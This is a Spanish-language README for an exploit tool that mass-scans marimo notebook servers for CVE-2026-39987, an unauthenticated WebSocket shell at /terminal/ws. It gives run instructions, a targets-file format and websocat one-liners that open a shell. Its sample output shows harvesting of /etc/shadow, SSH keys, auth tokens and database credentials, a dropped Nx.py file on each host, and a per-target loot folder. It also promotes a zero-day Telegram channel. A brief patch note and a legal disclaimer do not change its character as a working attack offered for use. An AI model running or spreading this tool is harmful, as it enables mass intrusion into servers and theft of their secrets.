
marimo es un cuaderno Python reactivo. Antes de la versión 0.23.0, Marimo tiene una vulnerabilidad de RCE de preautenticación.
marimo es un notebook reactivo de Python. Antes de la versión 0.23.0, Marimo presenta una vulnerabilidad de RCE sin autenticación previa (Pre-Auth RCE).
___ _ ___ __ __ __ __ ___ __ __ _______
/ (_)(_| |_// (_) / )/ \/ )/ / \/ |/ |/ \ /
| | | \__ /| | /| __ __/\_/|\_/|\__/ /
| | | / -----/ | |/ |/ \----- \ | |/ \ /
\___/ \_/ \___/ /___\__//___\__/ \___/ | |\__//
/terminal/ws — RCE Pre-Auth vía WebSocket no autenticado
Autor: Nxploited · Telegram: @KNxploited
📢 Únete al canal de Telegram para los últimos zero-days y exploits gratuitos:
🔗 Nxploited ZeroDay Hub — t.me/KNxploited
CVE-2026-39987 es una vulnerabilidad crítica de ejecución remota de código sin autenticación previa que afecta a Marimo, una plataforma de notebooks reactivos de Python de código abierto.
El endpoint WebSocket de terminal /terminal/ws carece por completo de validación de autenticación, lo que permite a cualquier atacante remoto no autenticado obtener un shell PTY completo y ejecutar comandos arbitrarios del sistema con los privilegios del proceso en ejecución — a menudo root en despliegues contenedorizados.
A diferencia de otros endpoints WebSocket como /ws, que invocan correctamente validate_auth() antes de aceptar conexiones, el endpoint /terminal/ws solo verifica el modo de ejecución y la compatibilidad de la plataforma, omitiendo por completo la autenticación.
✅ Corregido en:
marimo >= 0.23.0❌ Todas las versiones anteriores a0.23.0son vulnerables
/ws → calls validate_auth() ✅ Authentication enforced
/terminal/ws → skips validate_auth() ❌ No authentication
El manejador de /terminal/ws solo comprueba:
Nunca valida tokens de sesión, cookies ni ninguna forma de identidad — lo que convierte cada instancia de Marimo expuesta en un shell directo.
.py de Marimo.env · wp-config.php · claves privadas SSH · /etc/shadowPython 3.10 or higher
Instala las dependencias:
pip install websockets rich requests urllib3
O usando el archivo de requirements:
pip install -r requirements.txt
requirements.txt
websockets
rich
requests
urllib3
Crea un archivo llamado targets.txt con un objetivo por línea.
La herramienta acepta todos los formatos:
192.168.1.100
192.168.1.101:2718
10.10.10.50:2718
https://notebook.example.com
wss://secure.notebook.io
marimo.target.local:2718
Formatos admitidos: IP simple · IP:puerto · dominio · dominio:puerto ·
http://·https://·ws://·wss://
python3 CVE-2026-39987.py
▸ Targets file (default: targets.txt) : targets.txt
▸ Threads (default: 50) : 100
Rango de hilos: 1–300. Recomendado: 50–150 según tu red.
╭──────────────────────────────────────────────────────────╮
│ CVE-2026-39987 · Marimo WebSocket RCE │
│ MASS SCANNER · FULL ENUM · SMART DETECT │
│ By: Nxploited · github.com/Nxploited · @KNxploited │
╰──────────────────────────────────────────────────────────╯
══════════════ ws://192.168.1.100:2718/terminal/ws ══════════
╭────────────────────────────────────────╮
│ ◈◈◈ ROOT ACCESS ◈◈◈ │
│ ws://192.168.1.100:2718 │
│ uid ▸ uid=0(root) groups=[root] │
╰────────────────────────────────────────╯
── ENVIRONMENT ──────────────────────────────────────────
✦ Type MARIMO
◈ Docker True
◈ Marimo version 0.22.1
◈ Notebook directory /app/notebooks
── MARIMO — NOTEBOOKS ───────────────────────────────────
✦ Notebooks 7 found
· /app/notebooks/analysis.py
· /app/notebooks/data_pipeline.py
· /app/notebooks/etl_job.py
── MARIMO — TOKENS ──────────────────────────────────────
✦ Token CLI secret-token-abc123xyz
✦ .marimo.toml /root/.marimo.toml
── /etc SENSITIVE ──────────────────────────────────────
✦ /etc/shadow READABLE [42 entries]
◈ /etc/passwd [42 lines]
◈ /etc/crontab [12 lines]
── SSH KEYS ─────────────────────────────────────────────
✦ /root/.ssh/id_rsa FOUND
✦ /root/.ssh/id_ed25519 FOUND
── DATABASES ────────────────────────────────────────────
✦ MySQL DATABASES LISTED
✦ Redis PONG — NO AUTH
✦ DuckDB files /app/notebooks/data.duckdb
── SENSITIVE ENV VARS ───────────────────────────────────
✦ DATABASE_URL postgresql://admin:p4ss@db:5432/prod
✦ AWS_SECRET_ACCESS_KEY redacted...
── NX FILE DROP ──────────────────────────────��──────────
✦ Shell write /app/notebooks/Nx.py
✦ HTTP access http://192.168.1.100:2718/Nx.py
── COMPLETE ─────────────────────────────────────────────
◈ Saved to nx_output/192.168.1.100_2718/
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
◦ 73/200 ROOT:5 PRIV:11 SHELL:18 FAIL:39 6.3/s
nx_output/
│
├── summary.txt ← Master summary of all targets
├── curls.txt ← websocat one-liners for all shells
├── Nx.txt ← HTTP-confirmed file drops
│
└── 192.168.1.100_2718/ ← Per-target directory
├── summary.txt ← Target summary & connect command
├── identity.txt ← id · whoami · uname · hostname · shell
├── users.txt ← /etc/passwd · shadow · sudoers · last
├── ssh_keys.txt ← Discovered SSH private keys & auth keys
├── etc_data.txt ← /etc/hosts · resolv.conf · crontab · env
├── env_sensitive.txt ← Filtered sensitive environment variables
├── databases.txt ← MySQL · Redis · PostgreSQL · config files
├── app_configs.txt ← .env · wp-config.php · settings.py · etc
├── notebooks.txt ← Full content of all Marimo notebooks
├── marimo_toml.txt ← .marimo.toml configuration files
├── marimo_tokens.txt ← All extracted Marimo auth tokens
├── dotenv.txt ← .env / .env.local / .env.production
├── databases_marimo.txt ← DuckDB · SQLite · DB URLs from notebooks
├── webserver_configs.txt ← Apache/Nginx VirtualHosts & configs
├── network.txt ← Interfaces · routes · open ports · iptables
├── processes.txt ← ps aux · crontab · cron.d · systemd units
├── logs.txt ← auth.log · syslog · access.log · error.log
├── nx_file.txt ← Nx drop path · web root · HTTP URL
└── software.txt ← PHP · Python · Node.js versions
Una vez identificado un objetivo vulnerable, conéctate manualmente usando websocat:
# Install websocat
cargo install websocat
# or: https://github.com/vi/websocat/releases
# Connect to shell
websocat "ws://TARGET:2718/terminal/ws" -H "Authorization: Bearer any-value"
# Connect over TLS
websocat "wss://TARGET/terminal/ws" -H "Authorization: Bearer any-value"
El valor de la cabecera
Authorizationes irrelevante — el endpoint acepta cualquier token o ninguno.
Si estás ejecutando Marimo en un entorno de producción o expuesto:
marimo >= 0.23.0127.0.0.1 — nunca lo expongas directamente a internet/terminal/wsEsta herramienta se proporciona estrictamente con fines educativos, pruebas de penetración autorizadas e investigación de seguridad legítima.
Debes tener permiso explícito por escrito del propietario del sistema antes de ejecutar esta herramienta contra cualquier objetivo. El uso no autorizado contra sistemas que no posees o para los que no tienes permiso de prueba es ilegal y puede dar lugar a un enjuiciamiento civil y/o penal conforme a las leyes aplicables sobre delitos informáticos, incluidos, entre otros, la Computer Fraud and Abuse Act (CFAA), la Computer Misuse Act, las directivas de la UE sobre ciberdelincuencia y la legislación equivalente en tu jurisdicción.
El autor no acepta ninguna responsabilidad por daños, pérdida de datos o consecuencias legales derivadas del mal uso de esta herramienta.
Úsala con responsabilidad. Hackea éticamente.
| Propiedad | Valor |
|---|
| ID CVE | CVE-2026-39987 |
| Software afectado | marimo < 0.23.0 |
| Clase de vulnerabilidad | RCE Pre-Auth vía WebSocket no autenticado |
| Endpoint afectado | /terminal/ws |
| Vector de ataque | Red |
| Autenticación requerida | ❌ Ninguna |
| Interacción del usuario | ❌ Ninguna |
| Severidad | 🔴 Crítica |
| Impacto | Shell PTY completo · Ejecución arbitraria de comandos |
| Versión corregida | marimo 0.23.0 |
| Icono | Nivel | Descripción |
|---|
✦✦✦ 🟢 | ROOT | uid=0 — Acceso root completo |
✦✦ 🟡 | PRIV | Miembro de sudo · wheel · docker · disk · adm |
✦ 🔵 | SHELL | Acceso a shell sin privilegios |
✗ 🔴 | FAIL | Conexión rechazada · tiempo de espera agotado · error HTTP |
| Entorno | Auto-detectado | Recopilación especializada |
|---|
| 🟣 Marimo | ✅ | Notebooks · Tokens · DuckDB · .marimo.toml · montajes |
| 🔵 cPanel / WHM | ✅ | userdomains · contraseña de MySQL · lista de usuarios de WHM |
| 🟠 Plesk | ✅ | psa.shadow · vhosts · credenciales de administrador de MySQL |
| 🌐 Apache | ✅ | VirtualHosts · sites-enabled · registros de acceso/error |
| 🟢 Nginx | ✅ | Bloques de servidor · conf.d · registros de acceso/error |
| 🐍 Aplicación Python | ✅ | .env · settings.py · config.py · Pipfile |
| 🟡 Node.js | ✅ | .env · package.json · directorio público |
| 🐳 Docker | ✅ | Bind mounts · detección de almacenamiento local del contenedor |
| ⚙️ Genérico | ✅ | Suite de enumeración completa en entornos desconocidos |
| Alias | Nxploited |
| GitHub | github.com/Nxploited |
| Telegram | @KNxploited |
| Canal | Nxploited ZeroDay Hub |
"Cuanto más silencioso te vuelves, más capaz eres de escuchar."
⭐ Si esta herramienta te fue útil, deja una estrella y únete al canal para más zero-days. ⭐